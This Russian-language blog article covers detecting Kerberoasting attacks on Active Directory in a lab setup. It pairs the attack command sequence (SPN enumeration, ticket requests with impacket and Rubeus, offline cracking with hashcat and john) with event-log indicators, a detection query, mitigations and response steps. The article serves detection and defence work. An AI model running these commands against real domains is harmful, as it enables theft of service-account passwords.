Обнаружение атаки Kerberoasting

Обнаружение

Kerberoasting — это атака, использующая протокол Kerberos для сбора хэшей паролей учетных записей пользователей Active Directory со значениями servicePrincipalName (SPN), т. е. учетных записей служб.

Учетная запись пользователя используется в качестве службы, если свойство «ServicePrincipalName» не равно null. Таким образом, для выполнения Kerberoasting необходима только учетная запись домена, которая может запрашивать TGS, то есть любая, поскольку никаких особых привилегий не требуется. Злоумышленник, который может украсть билеты TGS (либо из памяти, либо путем их перехвата прослушивания сетевого трафика), может извлечь хэш пароля учетной записи службы и попытаться провести офлайн-атаку методом полного перебора, чтобы получить незашифрованный пароль.

Объект атакиActive Directory
ПриложенияRubeus, Impacket
Тактика ATT&CKCredential Access
Техника ATT&CKT1558.003
Сложность
Обнаружение
3/5
Противодействие
5/5
Реагирование
3/5
Итого
3.7

Входные данные:

Виртуальные машиныKali linux (192.168.0.114)
Windows 10 (192.168.0.111)
Windows Server 2019 (192.168.0.113)
Учетные записиusertest — пользователь без административных привилегий
user1 — пользователь «ServicePrincipalName»
Настройки журналированияРасширенные настройки аудита windows
Sysmon
Wireshark

Данная статья носит исключительно ознакомительный характер и не является руководством к действию.

Этапы атаки

Сбор учетных записей SPN

#Windows
setspn -T <Domain> -Q */*
Обнаружение атаки Kerberoasting
#Windows PowerShell
Function GetSPN{
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()
foreach( $result in $results ) {
	$userEntry = $result.GetDirectoryEntry()
	Write-host "Object Name	=	"	$userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
	Write-host "DN	=	"	$userEntry.distinguishedName
	Write-host "Object Cat.	=	" $userEntry.objectCategory
	Write-host "servicePrincipalNames"
	$i=1
	foreach( $SPN in $userEntry.servicePrincipalName ) {
		Write-host "SPN ${i} =$SPN"
		$i+=1}Write-host ''}}GetSPN
Обнаружение атаки Kerberoasting

Запрос билетов Kerberos (TGS)

#impacket Linux
impacket-GetUserSPNs -request -dc-ip 192.168.0.113 home.local/usertest
Обнаружение атаки Kerberoasting
#Rubeus Windows
Rubeus.exe kerberoast
Обнаружение атаки Kerberoasting

Инструменты Kerberoasting обычно запрашивают при выполнении атаки RC4 encryption — это связано с тем, что он слабее и его легче взломать в автономном режиме с помощью таких инструментов, как Hashcat, чем другие алгоритмы шифрования, такие как AES-128 и AES-256. Хэши RC4 (тип 23) , а AES-256 (тип 18). Примеры $krb5tgs$23$* и $krb5tgs$18$*.

Подбор пароля

#Windows
hashcat64.exe -m 13100 c:Hashes.txt rockyou.txt
#Linux
john --wordlist rockyou.txt Hashes.txt --format=krb5tgs
#Linux
hashcat -m 13100 -a 3 Hashes.txt rockyou

Обнаружение

КоммуникацияИсточникКомандаМестоИнформация
Windows 10 (192.168.0.111) -> Windows Server 2019 (192.168.0.113)Source host Windows 10 (192.168.0.111)Rubeus.exe kerberoastEvent log — SecurityEvent ID: 4688
New Process Name: C:\test\Rubeus.exe
Process Command line: Rubeus.exe kerberoast
Event log — SysmonEvent ID: 1
Image: C:\test\Rubeus.exe
OriginalFileName: Rubeus.exe
CommandLine: Rubeus.exe kerberoast
PrefetcherРасположение C:\Windows\Prefetch\RUBEUS.EXE-D0DC83CC.pf
Destination host Windows Server 2019 (192.168.0.113)Rubeus.exe kerberoastEvent log — SecurityEvent ID: 4769
Account Name: usertest@HOME.LOCAL
Service Name: user1
Service ID: HOME\user1
Ticket Encryption Type: 0x17
NetworkЗапрос 15 объектов LDAP
subschemaSubentry
dsServiceName
namingContexts
defaultNamingContext
schemaNamingContext
configurationNamingContext rootDomainNamingContext
supportedControl
supportedLDAPVersion supportedLDAPPolicies
supportedSASLMechanisms
dnsHostName
ldapServiceName serverName
supportedCapabilities
Kali linux (192.168.0.114) -> Windows Server 2019 (192.168.0.113)Source host Kali linux (192.168.0.114)impacket-GetUserSPNs -request -dc-ip 192.168.0.113 home.local/usertestLinux command historyКоманда: cat .zsh_history
Destination host Windows Server 2019 (192.168.0.113)impacket-GetUserSPNs -request -dc-ip 192.168.0.113 home.local/usertestEvent log — SecurityEvent ID: 4768
Ticket Encryption Type: 0x17
Event ID: 4769
Account Name: usertest@HOME.LOCAL
Service Name: user1
Service ID: HOME\user1
Ticket Encryption Type: 0x17
NetworkПоисковый LDAP запрос wholeSubtree с параметрами servicePrincipalName=* и objectCategory=computer

Критерии для правил корреляции

Событие Event ID 4769:

  • Обнаруживать Ticket Encryption Type: 0x17 (шифрование RC4), в основном используется значение Ticket Encryption Type: 0x12 (AES). События с Ticket Encryption Type: 0x17 будут редкими, но могут быть ложные срабатывания
  • Исключить события, где Service Name: «krbtgt» или имя заканчивается на «$»
Обнаружение атаки Kerberoasting
# PowerShell — поиск событий с подозрительным параметром шифрования RC4, но где отсутствует в имени сервиса «krbtgt» и имя сервиса не заканчивается на «$»
 
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} | where {$_.Message -notlike 'krbtgt' -and $_.Message -notlike '*$'  -and $_.Message -like "*0x17*"} 

Сетевой трафик:

Обнаружение атаки Kerberoasting
Rubeus network
Обнаружение атаки Kerberoasting
Impacket network

Противодействие

  • Первый вариант использовать пароль 25 символов для учетной записи SPN. Второй вариант — https://learn.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview
  • Проведите аудит назначения имен SPN привилегированным учетным записям пользователей . Например, пользователи группы администраторов домена не должны использоваться в качестве учетных записей служб, и поэтому им не должны назначаться SPN.
  • Создать учетную запись SPN, которая не будет использоваться в организации. Ни один клиент никогда не должен запрашивать билет для этого сервиса. Учетная запись для злоумышленника должна выглядит как настоящая, можно скопировать или создать по аналогии с существующими, например, добавить в привилегированные группы, обязательно нужно убиться, что установлен сильный пароль, больше 25 символов. Дополнительно, обязательно обновляйте время последнего входа в систему(LastLogonTimeStamp), чтобы учетная запись не была заброшенной.

Реагирование

При обнаружении Kerberoasting следует предпринять следующие действия:

  • Активируйте процесс реагирования на инциденты и предупредите группу реагирования на инциденты
  • Поместите в карантин любые затронутые компьютеры (например, хост, запросивший билеты на обслуживание) для проведения анализа, устранения и восстановления.
  • Сбросьте пароль для учетной записи пользователя, выполняющего Kerberoasting.
  • Сбросьте пароль для всех сервисных учетных записей, для которых были запрошены билеты TGS. Приоритет должен отдаваться привилегированным учетным записям.

Источники:

https://adsecurity.org/?p=3458


Файлы логов:

  • Impacker+Rubeus.evtx — события Windows Server 2019 (192.168.0.113)
  • Impacker.pcap и rubeus.pcap — сетевой трафик Windows Server 2019 (192.168.0.113)

Запуск программ:

  • 18.04.2023 в 16:11:03 запуск программы с аргументами impacket-GetUserSPNs -request -dc-ip 192.168.0.113 home.local/usertest
  • 18.04.2023 в 16:12:24 запуск программы с аргументами Rubeus.exe kerberoast

Скачать архив

jethacker
Оцените автора
( Пока оценок нет )
jethacker.ru
Добавить комментарий